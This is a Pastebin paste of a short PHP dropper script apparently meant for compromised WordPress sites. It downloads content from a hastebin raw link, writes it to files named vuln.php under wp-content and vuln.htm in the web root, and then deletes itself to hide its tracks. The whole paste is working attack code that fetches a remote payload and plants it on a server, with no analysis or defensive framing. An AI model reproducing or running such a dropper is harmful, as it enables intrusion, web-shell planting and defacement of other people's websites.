RaiC0d3r

settings_auto

Apr 26th, 2018
73
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.91 KB | None | 0 0
  1. <title>Vuln!! patch it Now!</title>
  2. <?php
  3. function http_get($url){
  4. $im = curl_init($url);
  5. curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
  6. curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
  7. curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
  8. curl_setopt($im, CURLOPT_HEADER, 0);
  9. return curl_exec($im);
  10. curl_close($im);
  11. }
  12. $check = $_SERVER['DOCUMENT_ROOT'] . "/wp-content/vuln.php" ;
  13. $text = http_get('https://hastebin.com/raw/jibawakoha');
  14. $open = fopen($check, 'w');
  15. fwrite($open, $text);
  16. fclose($open);
  17. if(file_exists($check)){
  18. echo $check."</br>";
  19. }else
  20. echo "not exits";
  21. echo "done .\n " ;
  22.  
  23. $check2 = $_SERVER['DOCUMENT_ROOT'] . "/vuln.htm" ;
  24. $text2 = http_get('https://hastebin.com/raw/jibawakoha');
  25. $open2 = fopen($check2, 'w');
  26. fwrite($open2, $text2);
  27. fclose($open2);
  28. if(file_exists($check2)){
  29. echo $check2."</br>";
  30. }else
  31. echo "not exits";
  32. echo "done .\n " ;
  33.  
  34. @unlink(__FILE__);
  35. ?>
Add Comment
Please, Sign In to add comment